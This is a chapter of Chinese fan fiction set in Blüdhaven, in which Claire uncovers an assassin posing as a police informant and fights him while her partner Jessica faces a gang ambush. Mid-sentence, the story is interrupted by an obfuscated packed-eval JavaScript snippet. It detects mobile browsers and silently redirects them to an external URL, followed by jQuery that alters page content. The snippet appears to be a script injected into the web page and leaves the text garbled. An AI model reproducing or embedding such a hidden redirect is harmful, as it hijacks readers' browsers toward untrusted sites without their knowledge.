卡莉法到布鲁德海文就职的时间不超过一年，没有充足的时间发展出可靠的线人。好在她认识几个可靠的警察。
“老鼠”是其中一个警察在帮派内发展的下线，他住在梅尔维尔区一栋旧公寓的阁楼里。
此刻，克莱尔正站在阁楼门口。
她抬手，敲了敲门。她没听到脚步声，但房门忽然打开，一个身材佝偻的男人在门口小心地观察克莱尔，比起“老鼠”，克莱尔会说他更像一只阴毒狡诈的狼。
老鼠左右看看，确认没有其他人后，为克莱尔让开一条门缝。门后是再普通不过的单身公寓，杂物和垃圾随处乱扔，简直没地方下脚。
“进来吧，请坐。”老鼠踢开挡在路中间的一只皮鞋，到厨房为客人捣鼓茶水，“长话短说，你想知道什么？”
“我想知道是谁发布了我的悬赏，”克莱尔一边说，一边扫过乱七八糟的客厅，“我想知道哪些帮派接下了悬赏。”
“第一个问题，它的答案不是我们这种消耗品能知道的，只有更有地位的人才清楚内情。”
厨房的隔断遮挡住两人的视线，克莱尔走近被踢到墙角的皮鞋，看了一眼鞋码。码数小了。
她嘴上的的问话不停，“那第二个问题呢？”
“终尾零使、泰迪帮、大都会过来抢地盘的西蒙列王……还有很多很多人想提着你的脑袋扬名。”
克莱尔默不作声地蹲下，从垃圾桶中掏出反扣在外卖盒与啤酒罐里的相框。照片上的人与屋里的人长相截然不同。
老鼠慢腾腾地从厨房里挪出来，访客坐在餐桌边的单人椅上。他将冒着热气的红茶摆到克莱尔面前，“招待不周，随便喝点吧。你还有什么想问的？”
克莱尔平静地端起红茶，红茶的热气飘在她的眉宇间，镀上一层模糊的滤镜。
老鼠盯着她，一动不动。
茶杯即将触碰到克莱尔的嘴唇，克莱尔问：“好吧，我确实还有一个问题。”
“真正的‘老鼠’在哪里？”
说时迟那时快，她扔开茶杯，滚烫的茶水浇了冒充老鼠的杀手一身。
杀手的外套上滚着茶水和茶叶，他时刻防备克莱尔的动作，躲闪及时，没有被开水烫到。
他抬脚踹飞餐桌，那张沉重的实木餐桌被他踹出去几米远，狠狠撞到克莱尔腰间。
见鬼，克莱尔暗骂，她真的要怀疑想弄死自己的人是卡莉法了！
枪响，杀手一甩外套，再抬手，手中枪向克莱尔开火。
他不再维持拙劣的伪装，站直身体后足足比克莱尔高一个头。子弹接连不断扫射，所过之处，墙上布满枪眼，将屋内打得灰尘飞溅。
克莱尔矮身躲在横倒的实木餐桌后，她拽下餐桌桌布，试了试柔韧度。
杀手踩过咯吱咯吱响的木地板，愈发靠近克莱尔。他的视线探向餐桌后，克莱尔猛地窜出来，桌布紧紧缠住枪管，向下一绞！
杀手的枪偏移了方向，但没有让克莱尔成功缴械。他和她之前对付的那群小喽啰不是一个等级的，老练、果断，他在道上应该有自己的名号。
克莱尔与这位不知名号杀手撞上眼神，多余的桌布再次反绕一圈，同时环住杀手的手臂。再绞，再推！
杀手的枪落地，克莱尔当即踢飞。她用肩膀当作盾牌，狠狠撞向杀手的身体，绞住杀手手臂的桌布与肩膀的力使向同一个方向，试图带翻杀手的平衡。
倒地的杀手立马反应过来，反擒住克莱尔的手，调转位置，用粗壮的胳膊死死箍住克莱尔的咽喉。
那只胳膊像变形的铁箍，一步步收缩，挤得她呼吸不能，眼前阵阵发黑。
她用最后一点力气摸到腰间的夜鹰，抵住杀手的侧腰，扣下扳机。
一枪！两枪！
杀手闷哼出声，掐住她喉咙的力道松了一瞬。
克莱尔抓住机会，别住杀手的脚腕，带他摔进地面。而杀手趁机卡开她的手腕，夜鹰脱手落地，在翻滚间远远甩出去。
她们摔在沙发边的地毯上，昏暗中一双无神的眼睛睁得极大，一具死不瞑目的尸体正直勾勾瞪着两人。
真正的警局线人“老鼠”，他在克莱尔来之前就死了！
不等克莱尔细想，杀手再次用手肘锁住克莱尔的脖子，全身发力绞杀。
他的力道很大，克莱尔的视野边缘忽黑忽白，供血不足让她在失去意识的边缘徘徊。
杰西卡呢？克莱尔迷迷糊糊地想，在心里谴责队友，难道她还在爬楼梯吗？
杰西卡没有爬楼梯，她根本没踏进楼道里。
克莱尔原本和她约好，如果五分钟内克莱尔没能离开阁楼，她就上楼找人。
事实是，克莱尔离开不过两分钟，蹲在楼道门前的杰西卡听见数道轮胎摩擦地面的急刹。
一辆辆车，机车、汽车、卡车，它们堵住通往公寓的每一个路口。旧公寓变成牢笼，而杰西卡和克莱尔是笼中困兽。
哪怕再迟钝，杰西卡也该知道她们掉进陷阱里了。
克莱尔的上司真的不是想对克莱尔痛下杀手吗？
各式各样的车上下来着装统一的帮派分子。他们戴着滑稽的玩具头罩，提着长刀或扎满铁钉的棒球棍，纷纷向杰西卡聚拢。
一滴水落到杰西卡脸上，被她抹掉。越来越多的水痕出现在她伸出的手背上。
头顶蓄饱了水的乌云不堪重负，让第二场雨落进布鲁德海文。
杰西卡站起来，吸气，吐气，面向挡在身前的人墙。在开战前，她有话要说。
“你们是跟哥谭学的吗，身为黑/帮，着装能不能朴素点？”
雨水打在阁楼的玻璃窗上，玻璃窗内，满屋狼籍，两人在凌乱不堪的地面翻滚，如同咬住猎物不松口的鳄鱼。
克莱尔是猎物，杀手是猎手。现在她这只猎物即将变成一具尸体，和真正的“老鼠”一起躺在沙发底下。
她的力气不够大，无法背着杀手强行站起身，找机会把他甩下去，只能狼狈地翻滚，试图在姿势变换中转移到一个更好的位置。
她瞥到头顶的展示柜，“老鼠”似乎是一个桌球爱好者，一座桌球大赛的奖杯摆在展示柜顶端，在脏乱邋遢的家里显得闪闪发亮。
克莱尔咬牙，狠狠踹上展示柜。
一下，两下，三下！
冥冥中，仿佛是“老鼠”的亡魂出手，将奖杯推到了展示柜边缘。它在震动中掉下来，哐，精准砸中杀手的后脑勺！
克莱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232532|180686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尔猛力一掀，反肘砸中杀手的鼻梁。杀手的脑袋一偏，鼻血直冒，眼冒金星。
克莱尔踉跄几步，扑过去捡起地上的夜鹰。她踩住杀手的肩膀，在他有下一步动作前，将枪口对准他的脸。
“现在你可以回答我了，消耗品。”克莱尔喘/息着问，“你的老大是谁？”
杀手舔了舔流出来的鼻血，擦出一小道红痕。他慢慢咧开嘴，想到了很好笑的事，“我看过你的档案，你有一个哥哥，巴希尔·克洛宁。”
杀手的笑容充满恶意，“被炸掉的别墅是他的。他什么时候回来？明天？后天？也许——他回不来了？”
克莱尔心神一颤！
杀手没被踩住的那只手手腕一翻，折叠匕首弹出刀刃，快准狠地扎进克莱尔的大腿！
刀锋向后撕扯，在克莱尔的腿上割开一条又长又深的口子，大股鲜血飙出来，克莱尔吃痛惨叫。
但她的枪握得极稳，毫不犹豫开枪射击，在杀手眉心开了一个血洞。
硝烟散去，杀手睁着眼睛，一动不动。
他杀了“老鼠”，亦死在克莱尔枪下。
克莱尔慢慢滑坐在地，大口喘气。她哆嗦着摸到大腿，用手压住往外冒血的伤口。
在她的工装裤下，还有一层牢固的布料。她出门前偷了夜翼一件没有标志的制服，勉强给自己提升了一点防御力。
那层制服拦住了杀手的刀，他没能划破克莱尔的大动脉，克莱尔不会死。
歇了一会儿，克莱尔撕下衬衣下摆扎住伤口，开始搜刮杀手的尸体。她找到杀手的手机，用他的指纹解锁。
她面无表情地翻杀手的消息记录，屏幕的冷光打在她的眼睛里，映出一行行快速滑过的文字。
找到了。她记下一串数字，起身一脚踩碎杀手的手机，伪装成在打斗中摔碎的样子。
“老鼠”的桌球大赛奖杯滚到墙边。克莱尔捡起它，用衣袖擦干净血迹。
她把奖杯端正摆好，一瘸一拐地离开阁楼。
走到楼下，被雨浇透的杰西卡正从外面走进来。克莱尔越过她的肩膀，看到外头横七竖八躺了一地的泰迪帮。
“我们中陷阱了。”杰西卡说。
“我知道。”克莱尔不耐烦地摆手。
楼道外雨势极大，她们在楼道里躲雨。
克莱尔给卡莉法发消息：谁是“老鼠”在警局的上线？
杰西卡靠在她身旁，抱怨：“你是不是惹了你的领导？”
“少说几句吧。”克莱尔冷着脸。
杰西卡撇撇嘴，又问：“我们接下来该干什么？”
“比比谁的命更硬，”克莱尔说，“也许我会把幕后主使的尸体切成十八块，一块块搬进酒窖冷藏，再去警局自首。”
“能不能把自首环节省掉，抓了你，可就不能抓我了。”
新的消息弹出，卡莉法回复了一个名字。
克莱尔一眨不眨地盯着那个名字。
她收起手机，嫌弃地推开杰西卡，“你全身都湿透了，离我远点。”
杰西卡怒道：“我还没嫌弃你血淋淋一身呢，你才离我远点！”
她们相互推搡几下，又叽叽咕咕地肩并肩靠墙坐下，等候雨停。